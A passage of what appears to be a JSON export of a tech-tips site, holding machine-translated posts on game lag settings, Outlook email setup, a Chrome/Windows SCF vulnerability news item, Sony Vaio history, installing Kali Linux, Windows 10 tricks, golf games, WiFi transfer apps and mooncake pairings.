number of players download Rules of Survival to play on computers and mobile. Besides, the game's 3D graphics are also appreciated, the quality and sharp images enhance the appeal of Rules of Survival.\nHowever, the game requires a highly configurable installation device. With phones running from iOS 7 and above and Android 4 and above. Thus, devices iPhone 4, iPhone 5 or Android devices that were born long ago are hard to run Stable Rules of Survival. With the computer if the machine has a weak configuration, the drive does not have enough installation capacity because the game has a capacity of nearly 1 GB, it also has recoil, or lag when playing. So how do the Rules of Survival run smoothly with weak computers?\nHow to install the Rules Of Survival game on PC How to fix errors hanging game Rules of Survival Build your own awesome gaming machine like PlayerUnknown's Battlegrounds How to reduce lag, play the Rules of Survival game Download the Rules of Survival PC game Download the game Rules of Survival Android Download Rules of Survival iOS We can do the fix below for both the computer version and the phone.\nStep 1:\nAt the main interface of the Rules of Survival screen, click on the gear icon on the left side of the screen.\n  Step 2:\nAppeared custom interface for games. First, at Basic settings, we will go to the Custom Settings section . Music section and SE (Sound effect) players can stay on average or turn off.\n  Step 3:\nGoing to the Graphics Settings section adjusts the graphics modes from Low (Power Saving) - Medium (Balance) - High (Excellent) and Ultra to match the configuration you are using.\nIf the computer has a weak configuration, you should switch to Medium (Balance) or Low (Power Saving).\n  Step 4:\nSwitch to the Other Display Settings setting , turn off the DMG Display feature and switch to Off mode. Usually this situation will show damage when the player takes down someone. For computers with weak configuration when using this mode will cause the game to have jerky, lag phenomenon.\nNote that when you play Rules of Survival on Android and iOS phones, turn off all open applications, including applications that run in the background.\n  Rules of Survival is an exciting and thrilling shooting action game. But for machines with weak bridges, it is quite difficult to experience the game. With this way of customizing the game settings, you can make it easier to participate in survival battles on Rules of Survival.\nSee more:\nTips to become the last survivor in PlayerUnknown's Battlegrounds game Some basic tips and tricks for playing Dynasty Warriors: Unleashed Top 10 open world games like GTA that you should try Wish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmcKksYylmKBlp52yr3nPpZiyoZ6cerPBy56qZqeWYsC2vtWirZqkXaS7bq2MsJyao12YvK%2ByyKCsq5mknryvecyamqGhnpo%3D\n","link":"/post/how-to-reduce-lag-when-playing-rules-of-survival-on-a-weak-configuration-machine/","section":"post","tags":null,"title":"How to reduce lag when playing Rules of Survival on a weak configuration machine"},{"body":"No need to configure settings on Yahoo Mail, all you need to do is configure Microsoft Outlook to use Outlook to send and receive Yahoo emails.\n  With these simple steps:\nStep 1: Open Microsoft Outlook. You open Microsoft Outlook by: selecting Start -\u0026gt; All programs -\u0026gt; Microsoft Office -\u0026gt; Microsoft Outlook .\nMicrosoft Outlook appears:\n  Step 2: Add a Yahoo Mail account and configure for Yahoo Mail. - Choose File -\u0026gt; Info -\u0026gt; Add Account .\n  The Add New Account dialog box appears .\nYou choose Manually configure server settings or additional sever types to install the configuration manually. Then select Next to continue the installation.\n  Next, select Internet E-mail and select Next .\n  The next step, you need to fill out some information about your Yahoo Mail account.\nYour Name: Your name.\nE-mail Address: Yahoo Mail Address (@ yahoo.com.vn).\nAccount Type: POP3.\nIncoming mail server: pop.mail.yahoo.com.vn.\nOutgoing mail server (SMTP): smtp.mail.yahoo.com.vn.\nPassword: Yahoo mail password.\nAfter completing the information you select More settings.\n  At the tab Outgoing Server you tick the My outgoing server (SMTP) requires authentication :\n  On the Advanced tab , check This server requires an encryted connection .\nOutgoing server (SMTP) : 465 .\nUse the following type of encryted connection: SSL .\nThen click OK .\n  Then you select Next , wait for the system to check the login information and send a test email. Choose Close :\n  Then select Finish .\n  So you've configured Yahoo Mail on Outlook.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJynnpu2qMHRnmSymZikvG65wKKjZqeeYry2wMuopqQ%3D\n","link":"/post/instructions-to-configure-yahoo-mail-on-outlook/","section":"post","tags":null,"title":"Instructions to configure Yahoo mail on Outlook"},{"body":"After the shocking cyber attack last week, a security hole has now been discovered showing that it is not possible to be sure what is safe on the Internet. This new vulnerability is related to Google Chrome and Windows, based on issues that Microsoft should have handled years ago.\nAlong with certain Chrome settings, it opens a door for hackers to steal user's Windows data. The more frightening thing is that it goes through infected websites without the user having to execute any file on the computer.\nNew problem with Windows and Chrome A DefenseCode member said it may continue to exploit errors on SMB. The Shell Command File will retrieve the hash of the user password information, which will then be used to find the password.\n  When visiting an infected site, it will automatically download the file of this type and users will not need to open it. Just that file in Windows Explorer is enough to start the attack. This is possible because these files allow you to place shortcuts that contain icons from the network share and execute those commands.\nHow to exploit the vulnerability When trying to access the icon outside Windows, the authentication data will be sent to the attacker. Microsoft fixed the date with the in.LNK file when Stuxnet was discovered but the fact is that the SCF files have not been fixed.\nSCF file is said to be harmless to Chrome, using its default behavior to download reliable files. That means it doesn't ask users if they want to download the file to any folder in the computer.\nFix Chrome related issues While Microsoft has not fixed this error and Windows Update has not been able to change the behavior of SCF files, the solution is to change Chrome's behavior so that it does not automatically save these files. Go to Settings, select Advanced Settings and select Ask Where To Save Each File Before Downloading before downloading.\n  ncG1vNJzZmismaXArq3KnmWcp51ku7DDjKKrZqGjYr2wv9KimaWdXam8brTAnKJmr5mjsbDD0mauoqyYYrSwu8alnGabmKe8rrE%3D\n","link":"/post/now-it-is-possible-to-hack-windows-with-google-chrome/","section":"post","tags":null,"title":"Now it is possible to hack Windows with Google Chrome"},{"body":"Rounding a decade ago, Japanese electronics company has launched Vaio PCG-705 and 707 laptops to prove to the world that a home appliance company can also produce computers. At that time, most Japanese households did not use PCs. They prefer word processing systems - devices that stand between typewriters and laptops. But the popularity of the Windows 95 operating system has helped the PC market in Japan flourish. The Vaio PCG 505 is 2.4 cm thick and is then rated as an \"ultra-thin\" device with a 10.4-inch screen, a 133-MHz Pentium MMX processor and costing about $ 500. The sleek design of silver and lilac makes Sony Vaio stand out for years.\n  Photo: Gizmodo\n\" Five years later, we began to be closely followed by rivals and had to think about how to maintain the uniqueness of the product based on the basic criteria that the company had set out when it first launched Vaio business \", Bob Ishida, chairman of Vaio development department, said.\n  Vaio PCG 505. Photo: Alibaba\nA key element in this world-famous model is that Sony has been eyeing multimedia features from the beginning. They soon integrated the IEEE 1394 interface to support users to get data quickly from cameras and other devices. Another feature is the MPEG hardware decoder - a strange thing 10 years ago.\n  The Vaio W with the main part behind and the instant keyboard, can be folded up horizontal screen, saves space. Photo: CESWeb\nSony was also one of the first companies to succeed in bringing the PC into the living room with Vaio W in 2002. This device is constantly \"sold out\" and the waiting list is getting more and more long. The event also has a different meaning because it shows that any company has a chance to win a high position in the PC market.\n  Entertainment system in the living room Sony Vaio TP1. Photo: T3\nSony is continuing to stretch its arms into the \"digital house\" with Vaio TP1 series with compact design, wireless keyboard, remote control and video recording support.\nWhen asked about future plans, Bob Ishida introduced WA1 - Vaio system that can receive music transmitted over Wi-Fi connection from other devices in the home network. \" Currently, people still use PCs to connect to the Internet, but the younger generation, like my son, no longer uses computers as much as mobile phones, \" Ishida said of Sony's challenge in the next 10 years. The company has now stopped its Vaio line of desktops, but laptop parts are still thriving because they are both considered as a product for entrepreneurs, as well as entertainment equipment.\nncG1vNJzZmismaXArq3KnmWcp51kwLC62GajqKebmrFursCcomaZpGJ%2BcXnYnpirq12ks26wxK%2BcpaegnruoedWaoKhlk6S6scHTnqms\n","link":"/post/sony-looked-back-at-10-years-of-developing-vaio-computers/","section":"post","tags":null,"title":"Sony looked back at 10 years of developing Vaio computers"},{"body":"If you want to experience a new operating system on your\u0026nbsp; computer \u0026nbsp;, such as the Kali Linux operating system, this article will guide you in detail, and will provide side information such as conditions. for installation and other notes offline!\nKali Linux is\u0026nbsp; a Debian- \u0026nbsp;based\u0026nbsp; operating system , and it is a distribution of\u0026nbsp; Linux \u0026nbsp;and an open source project\u0026nbsp; .\nThis operating system has a rather special group of users, namely those who work in the field of security because it helps users to check for security errors of applications or services on the\u0026nbsp; Internet . So it can be said that this operating system is not for everyone.\n  The device needs to be equipped with amd64 ( x86_64 /64-Bit) or i386 ( x86 /32-Bit) chip platform . This is required for you to be able to install Kali Linux on your computer.\nThe chip on your computer should be from Intel Core i3 or AMD E1 version or higher for the smoothest user experience.\n  + For complete version (contains full\u0026nbsp; metapackage )\nYour device should have at least 20GB of hard drive space, and the amount\u0026nbsp; of RAM \u0026nbsp;to 2GB of RAM or more words. However, the developers of Kali also recommend that your device should have 8GB of RAM or more to run multiple tasks at the same time.\n+ For the shortened version (only contains\u0026nbsp; Secure Shell \u0026nbsp;server)\nBecause this version contains only the Secure Shell server (SSH), and not the desktop, your device needs at least 128MB of RAM (recommended 512MB of RAM) and 2GB of internal memory or more.\nHere are some other conditions before installing Kali Linux:\n+ Need a bootable CD-DVD or\u0026nbsp; USB drive \u0026nbsp;. + Need to use amd64 installer image. + Need to use a single hard drive for installation. + The device is already connected to the network (with DHCP \u0026nbsp;and\u0026nbsp; DNS enabled\u0026nbsp; ). Preparation steps before installing Kali Linux:\n- Download Kali Linux by clicking\u0026nbsp;HERE. - Install Kali Linux ISO onto your DVD or Kali Linux Live and USB. - Back up data before performing because all data will be deleted when done. - Enable the feature that allows the computer to boot from CD/DVD/USB from within \u0026nbsp;your computer's BIOS/ UEFI . Step 1: Boot your machine with the corresponding device you have chosen. Your device will display a screen like the one below. Click Graphic install or Install depending on your needs. The example here will click on the Graphic install item.\nThe Graphic install option means that you will install the operating system as a graphical interface. The Install option means that you will install the operating system in text form.   Click on Graphical install\nStep 2: Select the appropriate language \u0026gt; Click Continue.\n  Select the appropriate language\nStep 3: Select your location \u0026gt; Click Continue.\n  Choose your country location\nStep 4: Select the keyboard layout for your device \u0026gt; Click Continue.\n  Choose a keyboard layout for your device\nStep 5: Enter Hostname (eg Kali) \u0026gt; Click Continue.\nNote:\nIn this step, the setup steps will require the network, and you need to connect to the DHCP service. If the device does not detect a connection to the DHCP service, you need to manually customize the network-related information or do not manually customize this time if this is not possible, and you can skip this step. this. Step 6: Enter Domain name (optional) \u0026gt; Click Continue.\n  Enter Domain name\nStep 7: Enter your full name in the box Full name for new user \u0026gt; Click Continue.\n  Enter your full name in the box Full name for new user\nStep 8: Enter the account name in the Username for your account box \u0026gt; Click Continue.\n  Enter the account name in the Username for your account box\nStep 9: Enter the password for the account \u0026gt; Click Continue.\nYou can tap Show Password in Clear to display your password.\n  Step 10: Select your time zone \u0026gt; Click Continue.\n  Step 11: Select the appropriate hard drive to install (for example, here is Guided - use entire disk, which means using the entire hard drive on the machine) \u0026gt; Click Continue.\n  Step 12: Select the previously partitioned hard drive \u0026gt; Click Continue.\n  Step 13: There are three options here, depending on your needs, choose the option that's right for you. Select All files in one partition (recommended for new users) which will be suitable for new users \u0026gt; Then click Continue.\n  Step 14: Click Finishing partitioning and write changes to disk \u0026gt; Click Continue.\n  Step 15: Click Yes in the section Write the changes to disks? \u0026gt; Click Continue.\n  Step 16: Enter HTTP proxy information \u0026gt; Click Continue.\n  Step 17: Check the software that will be installed inside the device \u0026gt; Click Continue.\n  Step 18: Under Install the GRUB boot loader to your primary drive, click Yes \u0026gt; Click Continue.\n  Step 19: Select the hard drive to install GRUB\u0026nbsp; bootloader \u0026nbsp;\u0026gt; Click Continue.\n  Step 20: Click Continue to complete the setup step.\n  - Only install Kali Linux when really needed As mentioned above, the audience using this operating system is very small, and you should not install the Kali Linux operating system without knowledge. TipsMake will not bear any responsibility if your device malfunctions after installation.\nIn addition, the amount of software on this is quite specific for the work group related to security testing, and does not support many other applications, so you should also consider before installing!\n- Can run Dual Boot with other operating systems You can completely partition your hard drive to install Kali Linux with just a few simple steps. This will help you to be able to run Dual Boot two operating systems at the same time safely and independently, without affecting each other.\n  - There are devices running Kali Linux on the market If you are afraid that this setting may affect the performance of your device, you can refer to some products that currently run Kali Linux, such as Asus Chromebook Flip C100P or HP Chromebook.\nJust now is how to install Kali Linux in detail from A - Z. Hope the article is useful to you, thank you for watching, see you in other articles!\nkali linux operating system ncG1vNJzZmismaXArq3KnmWcp51kwamxjKyrnqijYsGwecinqq2ZnKF6rK3LomSloZ6qxW67zWawqK2iYrCwuc%2Buq56qXZa%2FpnnDnquaoZyasW6tzZ1knpmjrnq1u4yfpqWkn6w%3D\n","link":"/post/steps-to-install-kali-linux-on-your-computer-are-detailed-and-easy-to-follow/","section":"post","tags":null,"title":"Steps to install Kali Linux on your computer are detailed and easy to follow"},{"body":"The Windows 10 operating system is a great operating system, but how to handle all the productivity and features of this operating system. The following article will show you some tricks that are hidden inside Windows 10 that few people know about.\n1. Secret Start Menu If you are a fan of the old Start menu, you can still own it on Windows 10. When you right-click on the Windows icon in the lower left corner, it will appear a jump menu with text with a number of options. familiar like Programs and Features, Search, Run. All of these options are available through the standard menu interface, but you will be able to access them faster through this text interface.\n  2. Secret Show Desktop button In the bottom right corner of the screen, there is a secret Show Destop button. You still don't see it? Look at the bottom right, next to the date and time. There you will find a small transparent button, click on it and it will minimize all open windows to display on the desktop. You can change this in Settings so instead of clicking it, just hover over the corner to display the desktop.\n  3. Rotate the screen with the keyboard shortcut Ctrl + Alt + D and the arrow key You can rotate the screen by pressing Ctrl + Alt + D and any arrow buttons. The down arrow will flip the screen upside down, the left or right arrow buttons will rotate it with a 90 degree angle and the up arrow will bring the screen back to the standard direction. If you use multiple monitors, this feature allows you to specify display in a special way.\nAlternatively, you can right-click on the desktop background, select Graphics Options\u0026gt; Rotation to rotate in the directions. This feature is available on Windows 7 and 10.\n  4. Turn on the slider to turn off the device This trick works only on Windows 10, it's a bit complicated. Right-click on the desktop, select New\u0026gt; Shortcut . In the next pop-up window, paste the following line of code:\n% windir% System32SlideToShutDown.exe\nThis creates an icon that can be clicked on the computer, you can freely change the name to whatever you want. To turn off the computer by sliding it down, double-click the new icon that you just created, you will see a shadow. Then use the mouse to drag it to the bottom of the screen. Keep in mind, this is not a machine in Sleep mode, but shutdown.\n  5. Turn on 'God Mode' This is how to access God mode. Right-click on the desktop, select New\u0026gt; Folder . Rename the new folder with this code:\nGodMode. {ED7BA470-8E54-465E-825C-99712043E01C}\nTo enter the \"God Mode\" window, double-click the folder.\n  6. Right click on Tile Want to personalize Windows Tile tiles quickly? Just right click on them to appear a menu. This menu will give you different options such as removing pins from the Start menu, resizing windows, or turning off live tile.\n  7. Right-click on the Taskbar This is a handy menu that allows you to quickly access some settings for toolbars, Cortana and Windows scheme. There are many settings there, and just one click.\n  Some tips to customize Taskbar on Windows 10 effectively 8. Move the mouse quickly when holding a window to zoom out This feature actually came out in Windows 7, but there are a lot of people who don't know about it or use it. If you have a full screen or display window, just hold the top of the window you like and \"shake\" it to minimize all other windows.\n  9. Drag to pin the window This feature is already available from Windows 7, but there are some additional features in Windows 10. If you take any window and drag it to one side of the screen, it will shrink and fit half the screen. .\nIn Windows 10, you have the option of dragging the window to any corner of the screen so that the window captures ¼ of the screen. You can perform this operation with the Windows shortcut + any arrow key.\n  \n10. Hidden games in Cortana You can type (or say) \"Rock Paper Scissors\", \"Roll the Die\" or \"Flip the Coin\" in Cortana for an exciting gaming experience.\n  11. Quickly switch between virtual desktops Do you want to perform multitasking on your computer? Fortunately, with Windows 10, Microsoft finally provided access to virtual desktops.\nTo try it, first click on the taskbar (icon to the right of the Windows menu). This will separate all your open windows into icons. You can then drag any open window to the \"New desktop\" button in the bottom right to create a new virtual desktop that you'll see at the bottom of the task menu. This will allow you, for example, to separate your work application, personal applications and social media into different desktops.\n  When you click the task view, you can switch between virtual desktops by pressing the Windows + Ctrl + arrow buttons to the right or left . This will allow you to automatically switch between all open windows that you have separated from the different desktops, while leaving all the icons on your computer unmotivated.\nTo delete the virtual desktop, just go back to the task view and delete each virtual desktop individually - this will not close the application located in that desktop.\n12. Turn the Command Prompt window transparent   This is a new feature on Windows 10. It may only be useful for some people. To access the Command Prompt (CP) interface in Windows 10, click on the Windows menu and enter \"Command Prompt\" for quick access to the application. In the results that appear click Command Prompt. To turn a transparent CP window, right-click on the top of the window to open a menu and select \" Properties \". Click on the \" Colors \" tab to see a range of options At the end of this tab, you'll see the \" Opacity \" slider, which allows you to create a window throughout the Command Prompt. This feature allows you to write code in Command Prompt and observe the desktop desktop.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjK2popubqHqquoywoKecn6zAbn2PZrCorV2irrp5zairZqOepMQ%3D\n","link":"/post/the-tricks-in-windows-10-you-may-not-know/","section":"post","tags":null,"title":"The tricks in Windows 10 you may not know"},{"body":"However, you can do this on your smartphone with the free golf games on iOS and Android below.\nWTG Golf   The visual effects in WTG Golf are highly appreciated, the details of the characters in the game, the shadows. combined with the physical effects of the ball create an intuitive experience for golfers.\nThis is a free game, but players can pay for things in the game. The game also features a variety of PvE and PvP activities, giving players the chance to participate in the US Open.\nPGA Tour Golf Shootout   PGA Tour Golf Shootout has a lot of regularly updated content for players to experience. The game has both single player and PvP modes and if you work hard, you can unlock weekly tournaments.\nThe game offers an Arcade golf experience rather than a simulation golf game. But it will be better for short golf rounds between daily missions in the game.\nGolf Battle   Also a golf game and the task is to put the ball into the hole, but Golf Battle is very strange compared to many other golf games. Your goal will be to get the ball to the finish line before other players are on the field.\nThe gameplay of Golf Battle is somewhat simple and you can play for short periods of time. Even so, it still requires the player's skill in each match.\nGolf Clash   One of the most popular golf games on mobile today. The game has basic golf gameplay combined with the \"plow hoes\" MMO genre. Players can gain achievements and unlock new in-game content.\nHow to play golf in Golf Clash requires you to properly align the wind speed and target position. In addition to the main task, players can also compete with other players in PvP mode. Participate in events often organized by game publishers for players.\nGolf Master 3D   If you want a golf game that mainly works online, then Golf Master 3D is an option for you. Multiplayer is online with you in real time, and you'll have to wait for your opponent to finish his turn before it's your turn.\nThere are many prizes you can win if you win a match. There are even power-ups that make the game more fun. You can also purchase in-game content if you want to upgrade.\nMini Golf 3D Multiplayer Rival   With Mini Golf 3D Multiplayer Rival, the way to the hole has never been so arduous. You have to calculate the power of the club, the wind, the obstacles to the angle of the shot. all of which must be carefully calculated in each shot.\nYou can also chat with other players while playing Multiplayer mode. The game has only one feature that many people may not be satisfied with. That is, if you want to play several games in a row, you will have to pay, or if you don't want to pay, you can choose to watch ads.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jKCmpZ5dnK6usYybnKysXZy8rbKMoJimnV2ku268x6ilng%3D%3D\n","link":"/post/top-golf-game-best-golf-game-on-phone/","section":"post","tags":null,"title":"Top golf game, best golf game on phone"},{"body":"You often have to transfer data between two\u0026nbsp; phones \u0026nbsp;or transfer data from phone to\u0026nbsp; computer , but on the market today there are many applications used to transfer data. The following article will introduce you to 12 WiFi data transfer applications on\u0026nbsp; Android devices . Follow along!\nShareIt is a data sharing software that allows you to transfer documents, photos, videos between devices at the speed of light, without the need for\u0026nbsp; Bluetooth \u0026nbsp;or other similar technologies.\nSalient features:\nSupports data transmission over WiFi on Android phones. Create a direct wireless connection to transfer files between devices. Connect up to five devices as a mini-network. Send multiple files in seconds from 1 MB to 100 GB. Works on devices from computers,\u0026nbsp; tablets \u0026nbsp;to mobile phones.   \u0026nbsp;Publisher: SHAREit. \u0026nbsp;Size: 44 MB. \u0026nbsp;Compatible: Android 4.1 and up. \u0026nbsp;Price: Free. \u0026nbsp;Download link:\u0026nbsp;HERE. Airdroid is a web application that makes it easy for users to access and manage their Android phone from a web browser on a computer or Mac.\nSalient features:\nSupports data transmission over\u0026nbsp; WiFi \u0026nbsp;on Android phones. The web application includes many features such as calls, messages and application notifications that are allowed by the user to be displayed on the large screen of the computer. Easily convert data to faster speeds without having to search for wires. Good connectivity helps control Android devices from PC or\u0026nbsp; Mac .   \u0026nbsp;Publisher: SAND STUDIO. \u0026nbsp;Size: 46 MB. \u0026nbsp;Compatibility: Android 4.0 and above. \u0026nbsp;Price: Free. \u0026nbsp;Download link:\u0026nbsp; HERE . Amaze File Manager is a powerful file manager application, perfectly compatible with Android 4.0 and above devices and free to use.\nSalient features:\nSupports data transmission over WiFi on Android phones. Open source application, lightweight and smooth. Strong compatibility with Android 4.0 and above devices. Designed in Google's Material Design style. Support basic tools: Cut, copy, delete, compress, decompress., easy to access.   \u0026nbsp;Publisher: Team Amaze. \u0026nbsp;Size: 8.3 MB. \u0026nbsp;Compatibility: Android 4.0 and above. \u0026nbsp;Price: Free. \u0026nbsp;Download link:\u0026nbsp; HERE . Sweech allows you to exchange files easily with any computer, tablet or smartphone. You no longer need any other cables or apps, Sweech will take care of everything!\nSalient features:\nSupports data transmission over WiFi on Android phones. Simply, you only need a Wi-Fi connection and a browser. Documents, photos, music, videos or apps: transfer anything from or your Android device. Play any music, video or photos from your phone on your computer remotely. Compatible with any device or system, even mobile phones: PC, Mac, Android, iPhone, iPad, Windows Phone.   \u0026nbsp;Publisher: Eric Alber. \u0026nbsp;Size: 4.5 MB. \u0026nbsp;Compatible: Android 4.0.3 and above. \u0026nbsp;Price: Free. \u0026nbsp;Download link:\u0026nbsp; HERE . Portal is an application to transfer data from computer to phone quickly and easily by simply scanning QR code and dragging and dropping files.\nSalient features:\nSupports data transmission over WiFi on Android phones. Transfer individual files, multiple files, or entire folders at once. Easily browse, open, or share files you have placed on your phone. Photos transferred with Portal will be automatically included in the phone's Gallery. Android 5.0 (Lollipop) or later: has Portal that saves files to your removable SD card.   \u0026nbsp;Publisher: Pushbullet. \u0026nbsp;Size: 6.8 MB. \u0026nbsp;Compatibility: Android 5.0 and above. \u0026nbsp;Price: Free. \u0026nbsp;Download link:\u0026nbsp; HERE . Pushbullet is an extremely convenient data sharing application between Android phones and tablets. In this latest update, Pushbullet has also added a lot of interesting features, especially the ability to send picture messages from the computer.\nSalient features:\nSupports data transmission over WiFi on Android phones. Share files and links between devices with just 2 simple touches. Cross-platform support makes it easy to share everything with your friends and family regardless of the device you're using. Easily pass important information to friends. Convenient when you want to send and receive SMS messages from your computer.   \u0026nbsp;Publisher: Pushbullet. \u0026nbsp;Size: 4.6 MB. \u0026nbsp;Compatibility: Android 5.0 and above. \u0026nbsp;Price: Free. \u0026nbsp;Download link:\u0026nbsp; HERE . WiFi File Explorer is an application that allows you to browse, download, and upload using a web browser over a WiFi connection.\nSalient features:\nSupports data transmission over WiFi on Android phones. Using a web browser, you can browse and download all the files on your Android device without cables. View all camera images and videos or listen to music on your Android device directly in a web browser. Password protection to prevent unwanted access. Ability to configure port settings.   \u0026nbsp;Publisher: Dooblou. \u0026nbsp;Size: 4.0 MB. \u0026nbsp;Compatibility: Android 4.0 and above. \u0026nbsp;Price: Free. \u0026nbsp;Download link:\u0026nbsp; HERE . SuperBeam is the simplest and fastest way to share large files between Android devices using WiFi direct. Devices will be paired by QR code (including barcode scanner),\u0026nbsp; NFC \u0026nbsp;or manual sharing key.\nSalient features:\nSupports data transmission over WiFi on Android phones. Super fast transfer speed using WiFi direct. Pair devices using NFC or barcode scanning. Share with non-SuperBeam devices via web interface. Share one or more files in multiple formats (photos, videos, archives, apk,.).   \u0026nbsp;Publisher: MukaBits. \u0026nbsp;Size: 13 MB. \u0026nbsp;Compatibility: Android 6.0 and above. \u0026nbsp;Price: Free. \u0026nbsp;Download link:\u0026nbsp; HERE . Great Sharing: WiFi File Transfer is a free application developed by MobileIdea Studio, belonging to the category Tools for sharing apps, photos, videos, music using Wi-Fi without mobile data. Up to now this application has more than 1,000,000 downloads.\nSalient features:\nSupports data transmission over WiFi on Android phones. Superfast file transfers. Share any file types without limitation. No network connection required. Send large files without limitation.   \u0026nbsp;Publisher: MobileIdea Studio. \u0026nbsp;Size: 5.9 MB. \u0026nbsp;Compatible: Android 4.4 and above. \u0026nbsp;Price: Free. \u0026nbsp;Download link:\u0026nbsp; HERE . Xender is an application that makes it easy to share data between Android, PC and\u0026nbsp; iOS devices . Currently, this tool has been 100% Vietnameseized, so it is very convenient to use.\nSalient features:\nSupports data transmission over WiFi on Android phones. No need for USB, Internet connection or using data packages. Share anything: files, photos, music, videos, apps. Moving speed is super fast, you can even share photos in seconds. Support group sharing up to 4 devices.   \u0026nbsp;Publisher: Xender File Sharing Team. \u0026nbsp;Size: 20 MB. \u0026nbsp;Compatibility: Varies by phone. \u0026nbsp;Price: Free. \u0026nbsp;Download link:\u0026nbsp; HERE . Feem is super secure local file transfer software that works like Bluetooth and allows you to transfer files from one device to another without the need for the Internet. Feem has similar features as Whatsapp, Messenger, Dropbox but does not use a network connection.\nSalient features:\nSupports data transmission over WiFi on Android phones. Works on all devices including: iPhone,\u0026nbsp; iPad , Android, Mac, Windows, Linux. Just enable WiFi directly inside Feem or use a personal hotspot to share files. Transfer files directly between devices without limitation on file size or number. Transfer sensitive files within the\u0026nbsp; LAN \u0026nbsp;without going through\u0026nbsp; \u0026nbsp;another server or cloud storage service .   \u0026nbsp;Publisher: Feem. \u0026nbsp;Size: 13 MB. \u0026nbsp;Compatibility: Android 4.0 and above. \u0026nbsp;Price: Free. \u0026nbsp;Download link:\u0026nbsp; HERE . Resilio Sync allows you to transfer files directly from phone to phone. Share photos, videos, documents with no storage limitations: Our technology works especially well with large files.\nSalient features:\nSupports data transmission over WiFi on Android phones. Saves space, allowing you to save only the files you need. Sync photos, videos, music, PDFs, documents and library books to your Android phone or tablet. Sync will back up photos and videos as soon as you take them.   \u0026nbsp;Publisher: Resilio Inc. \u0026nbsp;Size: 24.6 MB. \u0026nbsp;Compatible: Android 4.2 and above. \u0026nbsp;Price: Free. \u0026nbsp;Download link:\u0026nbsp; HERE .  App name\n  Salient features\n  Capacity\n Compatible Android version\n   SHAREit\n Create a direct wireless connection to transfer files between devices.\nConnect up to five devices as a mini-network.\nSend multiple files in seconds from 1 MB to 100 GB.\n  44 MB\n  Android 4.1 and up.\n   AirDroid\n Easily convert data to faster speeds without having to search for wires.\nGood connectivity helps control Android devices from PC or Mac.\n  46 MB\n  Android 4.0 and up.\n   Amaze File Manager\n Open source application, lightweight and smooth.\nStrong compatibility with Android 4.0 and above devices.\nDesigned in Google's Material Design style.\n  8.3 MB\n  Android 4.0 and up.\n   Sweet\n Simply, you only need a Wi-Fi connection and a browser.\nDocuments, photos, music, videos or apps: Transfer anything from or your Android device.\nPlay any music, video or photos from your phone on your computer remotely.\n  4.5 MB\n  Android 4.0.3 and above.\n   Portal\n Transfer individual files, multiple files, or entire folders at once.\nEasily browse, open, or share files you have placed on your phone.\nPhotos transferred with Portal will be automatically included in the phone's Gallery.\n  6.8 MB\n  Android 5.0 and up.\n   Pushbullet\n Share files and links between devices with just 2 simple touches.\nCross-platform support makes it easy to share everything with your friends and family regardless of the device you're using.\nEasily pass important information to friends.\n  4.6 MB\n  Android 5.0 and up.\n   WiFi File Explorer\n Using a web browser, you can browse and download all the files on your Android device without cables.\nView all camera images and videos or listen to music on your Android device directly in a web browser.\n  4.0 MB\n  Android 4.0 and up.\n   SuperBeam\n Super fast transfer speed using WiFi direct.\nPair devices using NFC or barcode scanning.\nShare with non-SuperBeam devices via web interface.\n  13 MB\n  Android 6.0 and up.\n  Great Sharing: WiFi File Transfer\n Superfast file transfers.\nShare any file types without limitation.\nNo network connection required.\n  5.9 MB\n  Android 4.4 and up.\n   Xender\n No need for USB, Internet connection or using data packages.\nShare anything: files, photos, music, videos, apps.\nMoving speed is super fast, you can even share photos in seconds.\n  20 MB\n  Varies by phone.\n   Feem\n Just enable WiFi directly inside Feem or use a personal hotspot to share files.\nTransfer files directly between devices without limitation on file size or number.\nTransfer sensitive files within the LAN without going through the cloud or another server.\n  13 MB\n  Android 4.0 and up.\n   Resilio Sync\n Saves space, allowing you to save only the files you need.\nSync will back up photos and videos as soon as you take them.\n  24.6 MB\n  Android 4.2 and up.\n   The article shows you 12 applications that transmit data over WiFi on Android devices. See you in the next posts!\nncG1vNJzZmismaXArq3KnmWcp51kfnN5wZ6qrWWnnrOqecOaq5plpKeur7%2FFnqlmmaClwG67zWaYp5yipLalecinZGtoYmY%3D\n","link":"/post/12-best-wifi-data-transfer-apps-on-android-in-2021/","section":"post","tags":null,"title":"12 best WiFi data transfer apps on Android in 2021"},{"body":" Do you know how fat the moon cake is? How to make cocoa moon cake tiramisu super simple How to make paper masks for children playing Mid-Autumn The Mid-Autumn Festival, also known as the Mid-Autumn Festival, is a day known to everyone as the Children's New Year. Mid-Autumn Festival is usually held on the night of the 15th of the lunar calendar every year. On this day there will be many events organized for children and adults can join.\nIn mid-autumn night, in addition to receiving lights, moon cakes are indispensable in this day. This is a special cake for this day. Experts recommend, when eating moon cake to avoid overeating, it is best to eat with family, so it can be divided into small pieces, reducing the amount of intake. To enjoy the right and most beneficial moon cake for your health, you should enjoy the same foods below.\n1. Mooncake + red wine   Today moon cakes combined with red wine are a very popular trend among young people today. In wine that contains many amino acids, minerals and vitamins, when combined with mooncakes will help stimulate the taste, remove the fat of the cake, these two things when combined together will help you feel good. mouth much more. Not only does wine reduce the consistency of cake, it also supports digestion very well.\n2. Mooncake + green tea water   Biting a piece of moon cake, taking a sip of green tea and watching the moon is probably a familiar image for us. Mooncake when combined with green tea is probably the 'golden partner' in cuisine. Eating tea and tea will help your digestive system work better, especially help eliminate fat accumulation in the body.\nIn tea as well as coffee, it contains a lot of caffeine, and soft drinks like coca and fruit juice contain a lot of sugar. If you eat moon cakes with these drinks, it will not be healthy, even more see more. In green tea contains many EGCG - a substance that stimulates the nervous system and enhances the body's fat burning process.\n3. Moon cake + fruit   In the mid-autumn festival, grapefruit is probably an indispensable fruit. You can eat moon cake then eat some grapefruit or orange, the sour taste in this fruit will help you reduce the feeling of gag and especially stimulate the digestive system very well, reduce the amount of fat accumulation. So there is no reason why you should not eat the same kind of fruit cake.\n4. Mooncake + herbal tea   In addition to pure green teas, you can also enjoy moon cakes and a cup of delicious herbal tea. Some herbal teas you can use like mint tea, lemon tea, lotus tea, green tea, chrysanthemum tea . will bring a fresh feeling when enjoying the cake.\nThese teas not only help you not feel sick when eating bread, but the antioxidants in tea also work to minimize the accumulation of oil, fat and other fats in the body. Therefore, you will not have to worry about weight gain if you eat a lot of moon 